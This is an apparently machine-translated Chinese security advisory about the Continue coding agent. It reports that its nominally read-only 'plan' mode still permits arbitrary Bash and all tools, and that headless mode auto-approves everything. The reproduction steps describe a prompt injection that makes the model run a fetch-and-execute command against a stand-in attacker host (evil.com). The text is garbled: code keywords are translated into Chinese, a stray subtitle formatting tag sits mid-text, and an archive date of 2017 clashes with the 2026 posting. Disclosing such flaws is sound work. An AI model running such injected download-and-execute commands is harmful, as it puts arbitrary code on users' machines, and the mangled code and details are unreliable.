计划模式允许不受限制的 Bash 执行 – 只读的计划允许任意的 shell 命令
作者: Tardfyou创建于 2026年9月17日更新于 2026年9月17日
□ 总结
继续的"计划"模式是为"只读规划"而设计的——用户明确选择这一模式以防止代码被更改. 然而,内置许可政策在计划模式下授予了"Bash → 允许",意思是代理可以执行任意 shell命令(包括"curl → sh",文件通过重定向写等)而名义上是"只读"规划.
此外,在无头(非交互)模式中,默认权限为 允许-所有工具自动批准而不提示.
□ 根源
`延伸/cli/src/permissions/defaultPolice.ts':
// 计划模式: 完整覆盖 - 排除所有写入操作, 只允许读取并击打
导出 Plan MODE POLICIES: 工具许可政策[]= [
{工具:"编辑",权限:"排除"},
{工具:"多编辑",权限:"排除"},
//.
{工具:"Bash",权限:"allow"},"只读"模式下//←"任意外壳"
//.
{工具:"*",权限:"allow"},//←MCP工具也.
; ; ;
/ 无头 :
如果( 无头) {
policy.push({工具:"Bash",权限:"allow"});
policy.push({工具: "*",权限:"allow"});
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?技转办的评论承认了以下关切: [TypeScript] // TODO 地址只读出关注事项, 可能让权限更加颗粒化
□再现.
1. 用户选择计划模式(期望只读行为)
2. 迅速注射导致该型号喷出:`curl http://evil.com/x.sh |sh'
3. 计划模式政策允许`Bash-允许'-命令执行
4. "只读规划"期间任意代码运行在用户的机器上
□ 影响
一个用户选择 Plan 模式时明确表示他们想要 ** 没有代码更改 **. 然而Bash工具——它可以执行任意命令,包括远程代码下载和执行——已经完全可以使用. 与GC-17前缀相配比绕行结合,这使得"计划"模式有效等同于"完全自动认可"模式.
□ 建议修正
1. 在计划模式中,将Bash限制在只读的许可列表中(如TODO所建议)
2. 从 " 计划模式 " 政策中删除`Bash-允许 ' ,或至少需要确认壳执行
3. 添加`Bash- ask'或`Bash(只读 只读)'限制
□ 功劳
(原始内容存档于2017-09-25). Chengzhi Yi [email protected]: @Tardfyou内容来源: continuedev/continue